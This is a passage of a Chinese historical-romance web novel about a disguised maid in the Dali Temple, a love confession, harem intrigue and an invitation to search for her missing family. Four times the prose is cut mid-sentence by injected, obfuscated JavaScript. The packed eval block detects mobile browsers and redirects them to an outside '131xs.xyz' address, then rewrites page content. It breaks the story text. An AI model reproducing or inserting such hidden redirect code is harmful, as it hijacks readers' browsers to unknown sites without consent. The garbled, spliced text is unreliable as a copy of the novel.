好像意识到有人在看他,厉思远也看了过来,正好和敛烟四目相对。 两个人齐齐一愣,连忙转过头去。 敛烟最近虽仍然住在厉思远旁边的偏房,却也因为自己的女儿身而感觉有些拘束,她能明显感觉到厉思远也有同样的想法,所以此时两个人之间的氛围有些微妙。 敛烟索性站起身:“我去取画具。” 说完头也不回地去了附近的仓库里面取出画具。 自从厉思远让她搬到偏房后,她便用月钱买了画具,重新开始画画。 现在正是傍晚时分,金黄色的阳光已经沉入了西边有些厚重的云彩中,透过云彩的边缘,为天边镀上了一层金边。 而在夕阳西下,后院油绿油绿的葡萄藤下,一众少男少女围坐在一起,快快乐乐地从一口锅里面分享吃的。 敛烟觉得,这个时刻应当被记录下来才是。 当然,也是因为她有点尴尬,想要找点事情转移注意力。 她拿出画板,铺上画纸,就坐在不远处的小板凳上认真勾画起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她抬起头就看到厉思远青蓝色的衣服,脑海中又忍不住浮现出他光裸的上身。 这个衣服下……都是劲道的肌肉啊,让人忍不住…… 敛烟吞了吞口水,有些尴尬地低下头:“啊,是的大人。” 厉思远也搬了个小板凳坐在她旁边,他垂眸看着敛烟手上的画纸,虽然只是黑墨勾画,但一群人围坐在夕阳西下的后院中吃火锅的景象,却栩栩如生地展现在了画纸上。 甚至都可以感受到温暖的光,闻到锅里面的香气。 厉思远轻笑了一声:“没想到敛小姐身边的丫鬟,都能画出这样的画,我还以为只有敛小姐是画痴。” 苗儿其实并不会画画,她性子有些急,没有那个耐心慢慢勾画,偶尔和自己学上几笔,也都画的歪歪扭扭,索性就不画了。 敛烟有些心虚地点点头:“小姐画功了得,我只是跟着学了些皮毛。” 厉思远叹了口气:“是啊,你们家小姐画功确实很好……” 敛烟感受到厉思远的语气里面好像是有一些莫名的悲伤,她抬起头就看到厉思远的目光久久停留在画纸上,说不上来的落寞。 敛烟心思一动,便问道:“大人……好像很了解我们家小姐?” 厉思远笑了笑:“是啊,其实我……” 他抬起头,眺望着远处的天光。 他从来都没有向其他人透露过自己对敛烟的心意,甚至身边最信任的人也都没有说过。 因为他担心敛烟因为自己的话,名声受损。 敛烟本身就有心上人,也有婚约在身,自己平白无故说出这种话传出去,只会给她添麻烦。 但现在,他的心上人已经死了,或许……自己说出来,应该没关系吧。 他深吸一口气:“其实……我心悦你们家小姐。” 48. 心意 “心悦你们家小姐……心悦……心悦……” 敛烟的大脑一片空白,厉思远的这句话在她脑海中回荡着。 心……心什么?? 心悦? 厉思远?对她? 敛烟费力回忆着两个人的点点滴滴,但怎么回忆,都只有两个人在品画会上见到的那一面。 厉思远那时候长得也的确出色,敛烟虽然觉得厉思远很是漂亮,却从没对他动过别样的心思。 除了那次品画会意外的一面以后,两个人便再也没有其他交集了。 甚至连最简单的招呼都没有。 他到底是怎么喜欢上自己的? 敛烟一时间只觉得脸色通红、心跳如鼓,赶紧低下头,害怕厉思远看出端倪。 这和被当面告白有什么区别啊! 敛烟半晌才找回自己的声音:“……大、大人喜欢我们家小姐?从什么时候?我好像从来没听小姐……提起过大人?” 厉思远低低开口:“是啊,对敛小姐来说,那个记忆并不算什么,但对我来说,却是非常难忘的回忆。” 品画会上厉思远并不是第一次见到敛烟,也不是第一次动心。 第一次见面,甚至不是在皇宫里面。 那是明帝还没有称帝的时候,厉思远的父母为了掩护明帝逃出,不得不将年仅五岁的厉思远丢下。 小小的厉思远走路还有些不稳,就看着哭成泪人的母亲把他藏在床板下,一步三回头地离开了。 那时候他还不知道,父母已经在掩护明帝的路上战死沙场。 彼时明帝逃出的地方被大西国占领,没有人愿意在战争频发的时候收养一个孩子。 多一个人就多一口饭。 小小的厉思远不得不窝在柴堆里面,捡别人的剩饭吃。 这里的人几乎都是大西国人,大西国说话带着很有特色的地方口音,所以厉思远一开口,所有人都知道他是中原人。 从中原人的角度来看,大西国人占领了他们的家乡,而从大西国人的角度来看,中原人才是侵略者。 所以周围的孩子们都很讨厌厉思远,经常对他拳打脚踢、恶语相向,而周围的大人们也睁一只眼闭一只眼,因为他们也很讨厌中原人。 这天,衣衫褴褛的厉思远照常等在集市的角落里面,等着摊主们收摊后捡一些不要的剩菜剩饭吃。 背后就被人狠狠踹了一脚,然后整个人被几个小孩拖着摔在了地上。 为首的那个孩子,已经有十二三岁,他父亲在军营里面当兵,前两日刚刚战死沙场。 据送遗物回来的人说,是被中原士兵一刀刀砍死的,死状凄惨。 那孩子恨极了中原士兵,连带着对厉思远也恨之入骨,所以今天他带着一众孩子一起,想要给这个中原小野种一个下马威。 他提着木棍,其他小孩空着手,对厉思远拳打脚踢。 那时候厉思远虽然无师自通了些拳脚功夫,但是架不住小孩们人多,逐渐就落入下风。 他被推倒在地上,被人围着拳打脚踢,但是就是不肯吭声求饶。 就在他感觉自己要被打死的时候,一个脆生生的声音响起来: “喂!你们在做什么!” 其他小孩一回头,就看到一个小女娃娃叉着腰站在巷子外面,手里还拿着一串糖葫芦。 厉思远也从地上抬起头,那时候是冬天,小女娃娃穿着红色夹袄,头上扎了两个揪揪,摇头晃脑地站在原地,还没有旁边的竹筐高。 很像是一团小火苗,在银白色的冬日跳跃地燃烧。 她指着其他小孩,大喊:“一群人打一个人,像什么话!” 厉思远忍不住皱眉,一个小女娃娃家,受伤了怎么办。 他吃力张开嘴:“别管闲事。” 敛烟看着地上被打的鼻青脸肿的小男孩,他刚才被打的全过程她在旁边都看到了,一声不吭,连叫都不叫。 如今终于开口了,她还以为他是个哑巴呢。 厉思远原以为小女娃娃肯定会被欺负,结果就看到为首的那个恶霸小孩看到小女孩,就像看到了鬼一样。 他把手里用来打厉思远的枝条一扔,畏畏缩缩地向后退了一步: “那、那个……是因为他偷我们东西,所、所以我们才……” 旁边的小男孩有的人甚至已经开始哭了起来,几个半大的小伙子,竟然被一个女娃娃吓哭了。 厉思远都看愣了。 敛烟拿起旁边比她自己还要高的木棍,恶狠狠说道:“偷东西?你们有证据吗?” 为首的小男孩吓傻了:“……没、没……哇——!” 然后就这样,哭的鼻涕一把泪一把。 “我们错了!我们再也不欺负人了!” 小敛烟走了过来,几个男娃娃吓得哇地大叫一声,四散逃开。 厉思远愣愣地看着这不可思议的一幕,忽然觉得自己的手被一只很温暖的小手握住了。 小敛烟认认真真地盯着他,软乎乎的小脸上挂着明媚的笑容: “你怎么样?痛不痛?” 那一刻,厉思远怦然心动。 他后来才知道,小女娃娃名叫敛烟,跟随父母来到这个城镇。 他们一家人都是中原人,之前敛烟也被那些孩子欺负过。 敛烟被欺负后,也没有哭闹,反而是给那些孩子下战书,说让他们去一个废弃的宅子见面打一架。 男孩子们好胜心极强,一个小女娃娃而已,便嬉笑着去了。 谁知道这一去,才知道他们中计了。 敛烟竟然早在那废弃宅子设置了不少机关,还画了一幅栩栩如生的青眼白虎图,可怜的男孩子们被关在废弃宅子里,还被那白虎图吓了一跳,哭的上气不接下气,最后是被敛烟的父母一个个抱出来的。 自此,敛烟就成了他们最害怕的存在。 大理寺后院,敛烟盯着厉思远完美无瑕的侧脸,听着他缓缓说出他们之间的故事。 他的声音认真又带着缱绻的情意,让敛烟心里面不禁泛起一丝涟漪。 对于那些欺负人的男孩子,敛烟倒是有一点印象。 那时候父亲还是一个穷书生,母亲却凭借过人医术,专门为穷人们治病。 由于战争的原因,他们居无定所,所以很快便离开了那座城镇。 后来明帝登基,父亲第一年科考便展露出过人天赋,这才有了大理寺卿敛和安。 至于说厉思远说的从一众恶霸小孩中救下他…… 敛烟绞尽脑汁,实在是想不起来。 自从她在那次皇家宴会中遭遇刺客,以前很多事情都忘了。 敛烟见厉思远好像已经陷入了思绪中,好奇问道:“那……仅此而已,大人便喜欢上了我们家小姐?” 厉思远沉静的眸子转过来看向“苗儿”:“后来,她其实帮过我好几次,知道我吃不上饭,便找母亲给酒楼老板塞银子让他给我找一个差事,知道我没有冬衣,偷偷把自己的衣服扔到巷子里,故意说不要了。” “那个隆冬特别冷,比以前都要冷,若是没有她,我……可能就死了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268751|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “其实第一次见面后,我就一直在关注她,默默观察她。” “我知道她喜食甜食,厌酸果,但若是酸果外有糖衣,勉强可以接受。” “我知道她喜欢明艳的、张扬的颜色,但若是作画的时候,就只穿素色。” “后来我被陛下寻回,就再也没见过她,没想到后来竟然又遇见了……” 厉思远的嘴角微微扬起,眼眸中闪烁着温柔的光芒。 但这缕光很快便消散了。 他想到自己心上人的白骨,又想到自己竟然没来得及救下她,深深叹了一口气: “只可惜……命运弄人啊……” 厉思远的表情认真又深情,让敛烟脸有些泛红,垂眸看了一眼自己的脚尖。 要不要和他说实话呢? 其实敛烟有一瞬间的犹豫,若是厉思远真的像他说的一样心悦自己,那自己是不是可以信任他呢? 是不是可以期待他帮自己度过难关呢? 这个念头刚起,敛烟脑海中便闪过陆景明那令人作呕的脸。 她闭上了双眼,还是放弃了这个想法。 感情或许是这世上最不可靠的东西了。 敛烟只能伸手生涩地拍了拍厉思远的肩膀:“大人,你这样好的人,我……我相信小姐如果知道的话,一定也会心悦你的。” “这一世或许是有缘无分,大人也不必过于伤怀。” 晚风吹拂而过,厉思远没有说话,两个人相顾无言良久。 * 是夜,御书房。 王德贵迈着小碎步从外面走进来,身后跟着一个低着头举着托盘的小太监。 明帝正埋首在书案中,王德贵走到他身边替他捏肩,提醒道: “皇上,您忙了一天了,该翻牌子好好歇一下了。” 明帝抬手捏了捏眉心,深深叹了口气: “朕年纪大了,以后牌子就免了。” 王德贵苦着脸,小心翼翼地说:“皇上,您可是万岁,身子自然硬朗着,而且……这也是太后娘娘的意思……” “太后娘娘说,后位多年空悬也就罢了,陛下还是要多去关心一下诸位妃嫔,安稳人心。” 自从明帝称帝后,从未立后。 大家一开始以为后位是那袁美人的,虽然是大西国人,又是个舞女,但早年陛下对袁美人是情根深种,力排众议将她接回宫。 但王德贵知道,袁美人其实并不想回宫,即便入宫后对陛下也是毫无尊重,甚至恶言相向,陛下对袁美人是爱恨交加,早些年便把袁美人的牌子撤了。 即便大皇子从大西国做质子归来,也依旧没有提袁美人的位分。 后来,大家又认为后位定是伍贵妃的,毕竟她颇得圣宠,又背靠京城势力最强的伍家。 但直到现在,后位依旧空置,渐渐地大家也都不再猜测了,转而开始猜测哪位皇子能够继承大统。 陛下这些年来后宫嫔妃并不多,所以除了一位小公主外,便只余三位皇子,还傻了一个。 王德贵越想越唏嘘,这个时候明帝终于松了口:“……既然是母亲的意思,那便呈上来吧。” 王德贵使了个眼色,下面一直跪着的小太监站起身低着头把托盘举过头顶。 明帝只看了一眼,顿时大怒,一抬手便把托盘整个儿掀翻在地。 牌子铛啷啷撒了一地,王德贵和小太监都吓得扑通一声跪在了地上,王德贵扫了一眼掉落的牌子,差点惊叫出声。 到底是谁把袁美人的牌子放进了托盘里?! 49. 枕边风 明帝虎着脸不说话,王德贵和那个小太监也战战兢兢趴在地上一声不吭。 要知道,袁美人可是陛下心里面的一根刺啊!这到底是哪个不长眼的敢把陛下的刺拿出来扎一下?! 翻牌子本是个很平常的事情,一般王德贵不会亲自动手,都是让底下的小太监备好了呈上来,这么多年也始终没有出过问题,谁知道竟然…… 王德贵正擦着汗飞快回忆今天到底哪里出了岔子,就听见一个娇俏的声音从外面响起: “今儿天气热,臣妾做了解暑汤,想给陛下尝一尝臣妾的手艺,劳烦公公通传。” 王德贵一惊,是伍贵妃的声音。 外面的公公正愁着,刚才陛下在里面发了好大的脾气,这个时候到底该不该放人进去呢? 就听见御书房里面传来明帝幽幽的声音: “传她进来。” 外面的公公松了口气,尖声通报:“伍贵妃觐见——” 伍方仪身着粉红色的锦袍衣裙,头上插满名贵金钗,明艳张扬的妆容让原本压抑的御书房有了些许色彩。 她身边的丫鬟手里端着一个瓷碗,跟着伍方仪走进来,伍方仪脸上挂着娇艳的笑容,走到明帝面前盈盈下拜: “臣妾——” 刚开口,明帝就招了招手:“免礼,上来吧。” 王德贵极有眼力见地让那小太监离开,自己也迅速把地上的牌子收拾起来退到一旁。 伍方仪拿起小丫鬟手里的瓷碗,款款走到明帝身边,把瓷碗轻轻搁在龙案上,余光瞥了一眼散落在地上的牌子,伸出纤纤玉手来替明帝按压太阳穴,柔声道: “陛下……可还生臣妾的气?” 明帝不说话,只是伸出手拿起勺子喝了一口汤,随后朝后面一靠闭上眼睛,享受着伍方仪柔嫩的手在头上轻轻按压。 伍方仪见他不说话,却也没有拒绝自己的侍候,便知道有戏,按了一会儿又柔柔道: “臣妾也回去反思了多日,宏儿这孩子顽劣,臣妾平日里管教少了,回去也都罚了他抄书,让他好生认识到自己的问题。” “想到给陛下平白添了麻烦,臣妾一直寝食难安,又怕来烦扰陛下,所以这段时日都不敢来。” “但臣妾却一直思念陛下,这天气也越发炎热起来,所以臣妾便想着做些解暑汤,给陛下送来。” “陛下……就不要再生气了,好不好?” 明帝向来喜欢听伍方仪的声音,娇媚中带着柔软,再加上喝了那碗解暑汤,燥热的心又平复了许多,他眉头舒展开,声音也缓和许多: “朕的方儿有心了。” 私下里,明帝喜欢称伍方仪的闺名。 伍方仪知道明帝这是不生气了,偷偷松了口气,就听见明帝喊王德贵。 王德贵踱着小碎步上前应话,明帝道: “今夜朕,就翻伍贵妃的牌子,其他人的牌子撤下去吧。” 伍方仪眼睛一亮,抿着唇笑着道:“那臣妾现在就去准备……” 话音未落,就被明帝打断了:“不必,朕现在就去你宫里,你就坐朕的轿辇一起。” 王德贵一惊,随后朝伍方仪躬身笑道:“恭喜娘娘,贺喜娘娘,能和陛下同乘轿辇,那可是一等一的恩宠啊!” 伍方仪也是喜出望外,这么多年来,除了袁美人第一次侍寝乘坐过明帝的轿辇,谁都没有过这样的待遇,她连忙行了一礼,笑道: “谢陛下恩宠。” 与此同时,未央宫。 一个身穿青色罗裙的女子,头上只挽着一根白玉簪,她身形纤细,正跪在蒲团上,手中捻动着玉色佛珠,口中念念有词。 在她面前,是一尊观音菩萨的小像,慈眉善目地看向女子。 女子脸上不施粉黛,却依旧肤若凝脂,嘴唇粉嫩如樱花,长长的睫毛垂下来,正遮住她那双透着淡淡忧伤的眼睛。 女子虽然已经三十有余,但从外表上来看,俨然一副二十出头的青葱少女模样。 门外,一个身形微胖的嬷嬷走进来,有些忧心忡忡地道: “小主,这都夜深了,别熬坏了身子。” 女子正是大皇子严恒的母亲,袁美人。 袁美人没有理会嬷嬷,她将最后的一卷经书念完,才缓缓抬眸。 “陛下去了伍贵妃那里?” 嬷嬷一直站在原地,听见袁美人忽然问起陛下,她愣了愣。 她是一直跟在袁美人身边的旧仆,知道在刚刚入宫后,主子和陛下大吵了一架。 没有人知道二人为何吵架,只是自此以后,袁美人便再也没有提过陛下,也没有提过位分。 陛下也曾经来过未央宫数次,但每次二人都不欢而散,久而久之,陛下便不来了。 今天袁美人竟忽然提到了陛下,让嬷嬷吓了一跳。 她如实回答:“回小主,陛下和贵妃娘娘同乘轿辇,看去的方向确实是贵妃娘娘的寝宫。” 袁美人已经年过三十,遇到明帝的时候也不过十三岁。 这么多年了,她本不该再对他抱有期待,今夜却还是忍不住问出了口。 因为,今夜她要做一个非常艰难的抉择。 得到确定的回答后,袁美人忍不住笑了笑,她笑意不达眼底,裹着浓到化不开的悲伤: “这样啊……” 曾经穿着盔甲在泥地里摸爬滚打的他,拉着她的手,坚定又真情地答应她,登基后定会来娶她。 许诺她,日后不管有任何阻碍,都定会一生一世一双人,绝不纳妾。 她曾经因为自己舞女的身份而自卑,他却说自己不在乎她的身份。 他的确履行承诺接她回京,但他却为了家国社稷,终究是娶了别人。 袁美人原本是理解他的,他根基不稳,需要京城各个世家大族的支持,联姻是最方便的方式。 然而最令她痛心的,是朝堂上言官弹劾她是大西国人,而且身份卑贱,不宜为东华国妃嫔。 他却没有替她说半句话。 反而因为说的人越来越多,他甚至对她的身份也开始有了龃龉。 可明明他说过,不会在乎她的身份。 她很失望,对他,也对自己。 大西国人,骨子里有着一股野性和自由,他们不论男女,少时都会骑马射箭,最喜欢的便是在茫茫草原上纵情驰骋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268752|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己却因为一句诺言,被困在这深宫高墙中,一生都要乖顺、要柔和、要依附,永远都不能做自己。 袁美人想到这里,双眼已经被泪水模糊。 嬷嬷以为主子因为陛下去伍贵妃那里而伤心,幽幽叹了口气,劝道: “小主,您不要太难过,已经这么多年了,该放下了。” 袁美人知道嬷嬷理解错了,但她也没有解释,只是默默拿过嬷嬷递来的帕子拭泪。 “嬷嬷,我要就寝了,你今夜不必侍候,早些回去吧。” 嬷嬷“哎”了一声,转过身替袁美人吹了蜡烛,便关门离开了。 袁美人听着外面的脚步声渐远,起身坐在了圆桌前,盯着桌上的茶壶出神。 半晌,她仿佛下定了什么决心,抬起灯罩点燃了灯盏,借着微弱的烛光,她摊开一张信纸,拿起笔颤抖着落下。 她写下的,是大西国的语言。 * 深夜,伍方仪伺候明帝躺下后,自己便躺在榻上若有所思地看着明帝的脸。 明帝感受到了她的视线,睁开眼侧头望了过来: “方儿可是有什么心事?” 伍方仪叹了口气,将头靠在明帝的肩头: “陛下,臣妾只是有些忧心,不知道……有些话当讲不当讲。” 明帝今夜非常舒心,他干脆侧过身来,握住伍方仪的手,柔声道: “你但说无妨,朕赦你无罪。” 伍方仪便乖巧开口:“陛下,臣妾忧心……有人故意挑起党争。” 看到明帝眉头竖起,伍方仪又道: “臣妾知道后宫不得干政的道理,只是实在是忧心我们的宏儿。” “我们用了那么久的时间才有了这个孩子,他出生的时候臣妾还差点难产而死,他自小体弱,又差一点夭折……” 说着说着,伍方仪的声音里染上了哭腔。 “他确实是有些恶习在身上,但绝不会滥杀无辜,有人却在没有实证仅凭口供的情况下平白指认宏儿。” “所以臣妾忧心,恐怕这件事没有那么简单,甚至可能牵涉党争。” 明帝皱眉:“你的意思是,厉思远可能参与党争?” 伍方仪忙道:“臣妾并不想随意揣测,只是总觉的似乎哪里不对……” “那天,臣妾亲眼看到了厉大人进了大殿下的宫里,似乎聊了很久……” 她美目轻眨,明帝是不喜欢后宫参政,所以今天她铺垫了很多。 先是故意让明帝看到袁美人的牌子引起不快,再是引明帝来自己宫里,在他最是卸下防备的时候,才隐晦提起。 看着明帝有些阴沉的脸色,伍方仪唇角微微勾起,她知道,明帝这是听进去了。 见好就收,她及时终止了话题,在明帝脸上轻轻吻了一下: “好啦,臣妾也不想让陛下这个时辰还因为国事烦忧,陛下就睡吧,明日臣妾给您准备了绿豆粥,亲手做了灌汤包,您上朝之前吃的饱饱的。” 明帝被她哄得心花怒放:“还是方儿懂朕……睡吧。” 他伸出一只胳膊,轻轻揽住伍方仪柔软的身子,但眼眸中却划过一丝隐晦的算计。 50. 争锋 八月,科举入仕。 按照往年的惯例,科举都由太傅主持监考,但太傅年事已高,早在数月前便已经告老还乡,明帝一时间也没有打算任命新的太傅。 科举监考这样大的事情,一般是由德高望重的人来做,所以人们纷纷都在猜测,这次是不是陛下要请哪位皇子监考。 若是哪位皇子坐上了监考的位置,那么说明陛下的储位就更考虑哪位。 就在大家纷纷猜测的时候,明帝在早朝下了一个决定。 让厉思远全权负责今年的科举。 一时间朝堂上哗然一片,有的大臣忍不住跳出来反对,也有大臣表示支持,早朝的金銮殿里顿时吵作一团。 明帝坐在龙椅上,默默看着大臣们吵得面红脖子粗,又细细观察厉思远的反应。 厉思远不卑不亢站在原地,没有参与任何争吵,只是等其他人声音逐渐平息的时候,躬身应道:“臣谨遵圣命。” 明帝也不知道在想什么,忽然笑了一下,挥了挥手: “好了,若是没什么其他事,就散朝吧。” * 回到大理寺后,厉思远便马不停蹄开始忙活起来科举的各项准备事宜。 知道厉思远要负责整场科举的时候,敛烟暗暗吃惊。 陛下到底是什么意思?为什么偏偏要厉思远来负责? 他是大理寺卿,科举取仕难道不是吏部的事情? 事情有些蹊跷,但敛烟今日却没空去细想。 她此时正要去城外一家茶馆赴约。 红月的案子告一段落后,花奴便给敛烟单独送来了一封漂亮带着香气的请柬。 被花朵染成粉色的信纸,加之上面还插着一株茱萸,敛烟差点以为是哪家姑娘的情书。 打开一看,龙飞凤舞几个大字,与她相约在京城西侧一处清雅别致的茶馆,名叫对饮轩。 敛烟今日便和邱容告了假,如约前往,但是茶馆里看了一圈,都没看到花奴。 她一度以为自己是不是找错地方了, 就看到角落里一个青衣公子站起身,朝她笑吟吟地走过来。 敛烟还在想这个人在冲谁笑,就看到那长相娇俏的公子从袖子里掏出一朵花,递到她面前: “小生见过彦儿……公子。” 这贱兮兮又孔雀开屏的样子,不是花奴又是谁。 只是这张脸…… 敛烟接下那朵花,有些惊讶: “听说天下阁阁主擅易容,没想到你真的会易容术?我还以为这种术法只出现在话本里。” 花奴冲她微微一笑:“略通一二罢了。” 说完,花奴带着敛烟去了茶馆楼顶,那里有一排雅间,两个人在其中一间落座。 说是雅间,实际上只有一个竹帘将里外隔绝开来,在座位的旁边就是一扇小窗,窗外是郁郁葱葱的竹林,透过竹林隐约还能瞧见不远处的湖泊,景色极好。 雅间的桌上热气腾腾地摆着一壶茶,茶壶下面还搁着泥塑的小炉子,里面点着一颗小巧的蜡烛。 在茶水旁边,用竹篮子装着两层花式很特别的糕点,敛烟坐下后眼睛都看直了。 她喜欢吃甜食,被这些造型奇特的糕点瞬间吸引了注意力。 花奴注意到敛烟的表情,心中好笑,用筷子夹起一块放到她面前。 “尝尝,他们家这个很是出名,配着茶水可解腻。” 敛烟塞了一口糕点在嘴里,那糕点入口即化,虽有些腻人,但配上旁边的茶水,口味有种说不上来的清爽。 敛烟两只眼睛放光,一连塞了两口,两颊鼓了起来,活像只小仓鼠。 花奴看在眼里,忍不住笑了下,笑意缱绻。 敛烟看了他一眼,含糊不清地问道:“所以,这个是你真正的长相么?” 花奴挑了挑眉:“你猜~” 敛烟仔仔细细打量着花奴的脸,不管是耳朵还是两颊,都严丝合缝,看不出一丝破绽。 她只能举起双手表示放弃:“算了,完全看不出来。” 花奴却不再回答,而是从旁边拿过来一个布包裹:“其实这次找你过来,是有个事情想同你讲。” 见花奴不愿意说,敛烟也不再问,而是接过包裹打开来。 里面是女子的衣裙和零零碎碎的首饰,最显眼的,还是一沓厚厚的信。 花奴用折扇轻轻点了一下包裹:“这里面都是红月的遗物,我想着……带给她的家里人。” “那些信,是她写给父母的家书。” 敛烟拿出一封轻轻展开,那泛黄的纸笺上是清丽娟秀的字体,她心中讶异,没想到一位歌姬竟然认字,而且还写的这样好看。 里面满满的都是对家人的思念。 花奴道:“醉月楼管得严,所以这些信写了都没有送出去,我想,红月应该很想让家里人看到这些信。” “我记得你说过她是被家里人卖给人牙子的?” 敛烟边看边问道,若是被自己家里人卖出来,难道不会恨吗? “或许有什么苦衷也不好说。”花奴叹了口气:“他们家在距离西北边境不远的一个名叫黄田村的小地方,常年干旱,还经常会有沙尘风暴,也许是因为生活所迫才不得不出此下策。” 敛烟将信郑重折好,抬起头:“那……你是想让我帮你去送红月的遗物?” 花奴轻摇折扇,一直微笑的脸上浮现出一抹认真的神色:“我自己就可以送,我只是想问问……” “你想不想和我一起去?” 敛烟没有想到花奴会忽然主动邀请自己去西北边境,她愣了一下:“……为什么?我也不会拳脚,甚至还会拖累你,你没有理由和我一起。” 花奴身子前倾,难得认真,他看着敛烟,沉沉的眸子里映出她的脸: “你不想找你家里人么?” 敛烟猛然警觉,皱起眉头盯着花奴:“你查我?” 花奴从袖中掏出一张折好的纸:“我并非有意,只是觉得你潜藏在大理寺,定然有什么苦衷,我只是想帮你。” “天下阁的人遍布在东华国各地,西北那边传来消息,说是在西北边境大西国国界,看到了你的母亲和弟弟。” “这是传信的人秘密传回来的消息,你看看样貌特征是不是他们。” 敛烟警惕地盯着花奴,并没有接过花奴递来的纸。 花奴见状叹了口气: “若是我想害你,又何必这样大费周章?” 说的倒是有几分道理,敛烟把他递过来的那张纸打开来。 上面是两幅画像,敛烟手指尖微微颤抖,眼眶忍不住红了几分。 那画像赫然是母亲单听云和弟弟敛承允。 两个人看起来都消瘦许多,尤其是母亲,眼角都多了许多皱纹。 但的确是他们没错。 敛烟闭了闭双眼,平复了一下心情后问道:“花……公子,我很感谢你的帮忙,但是我想不通,你为什么要帮我?” “之前救下你,你已经帮我去找过案卷了,红月的死因也是厉大人调查的,况且也没有将真正的凶手缉拿归案,你没有理由帮我。” “若是说帮,你帮我破坏了陆景明的婚事,就已经很好了。” 花奴伸出折扇轻轻敲了一下敛烟,敛烟有些吃痛地鼓起两颊看着他,只见花奴眉眼含笑: “烟儿姑娘觉得……帮朋友还需要理由么?” 敛烟愕然地捂住头,还没反应过来。 花奴有些难过的打开扇子捂住嘴:“烟儿姑娘不会觉得,我们不是朋友吧?” 敛烟连忙摆手想要否认,就看到花奴露出狡黠的笑,知道自己又被他骗到了。 但她其实已经把花奴当做最为亲密的朋友了,毕竟……知道她身份的人,仅此一人。 花奴躲在扇子后面,看着她欲言又止的样子,忍不住轻笑一声。 这姑娘,看着机灵古怪,但又特别容易相信别人。 他邀请她一起走,怎么会只是因为二人是朋友呢…… 还说那厉思远是根木头,看来这个敛家姑娘也是个顽石,瞧不出别人的心意。 不过嘛…… 花奴眯着眼睛默默打量敛烟的面容,他打算先不着急把话说清楚,免得吓到这个可爱的小姑娘。 等到时机成熟,他会将整个儿天下阁都捧到她面前,不管挡在她前面的是伍家还是谁,他都会替她一一铲平。 花奴正想的出神,敛烟这边内心已经百转千回了。 王雨生不是说自己亲眼看到母亲被马匪杀死了么?为什么她还会出现在西北边境? 自己要去找他们么?那……厉思远这边怎么办?自己离开的话,把自家的案子给厉思远一个人去查么? 又或者不去理会真相是什么,只要母亲和弟弟能够平平安安一辈子就好了…… 敛烟内心天人交战。 真相……真的不重要么? 而且自己离开后,可能再也不能回京城来了,更不可能再回到大理寺。 一想到自己再也见不到厉思远,敛烟心中有些莫名的不舍,但到底是为什么,她也不知道。 花奴把装有红月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268753|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遗物的包裹仔细包扎好,见敛烟眉头皱起,小小的一张脸快皱成一张被揉过的宣纸。 他笑了一下,忍不住伸手捏了一下: “你也不必现在回答我,你且把你家人的画像拿走,回去想一下,我打算五日后出发,如果到时候你想去,五日后的亥时,在城西门口等我。” 然而话音未落,旁边的竹帘忽地被人掀开,两个人齐齐望过去,对上了厉思远有些阴沉的脸。 敛烟和花奴皆是一愣,敛烟率先反应过来,低下头:“大、大人怎么在这里?” 不对,她明明今日是告了假的,为何有些心虚? 厉思远盯着敛烟垂下的头,声音里听不出情绪: “……本官今天在这里约了朋友。” 他顿了顿,又看向花奴手里的包裹:“红月的遗物,也是证物,理应由大理寺保管。” 花奴笑了一下,声音轻柔但手里却依旧紧紧抓着包裹:“大人这就说笑了,大理寺留着这个有什么用?案件都已经调查清楚了,就没必要抓着苦主的遗物不放了吧?” 但厉思远今日却十分坚持:“这是大理寺的规矩,若是你想要把遗物交给她家里人,本官可以代劳。” “况且……” 厉思远瞥了一眼花奴嬉皮笑脸的样子:“这东西本就是从大理寺里面顺走的吧?” 见被厉思远识破,花奴也脸不红心不跳,也没有松口。 厉思远伸手就要来拿,花奴脸色一冷,扇子一收就抵在了厉思远的手上,二人一时间竟僵持不下。 这时,又有一只手抓住了包裹,花奴一愣却没有阻止,任由包裹被敛烟拿了过去。 敛烟平静地说道:“花公子,这证物本身应属大理寺保管,不能坏了规矩。” “你既视我为好友,那就暂且交由我保管,等到日后我路过那黄土村,一定会亲自交到红月家人手里的。” “五日后你要离开京城,我还需要给大人当差,到时就不相送了,以后我们便各自安好,常通书信。” 一番话,让对面的两个人生出了截然不同的心情。 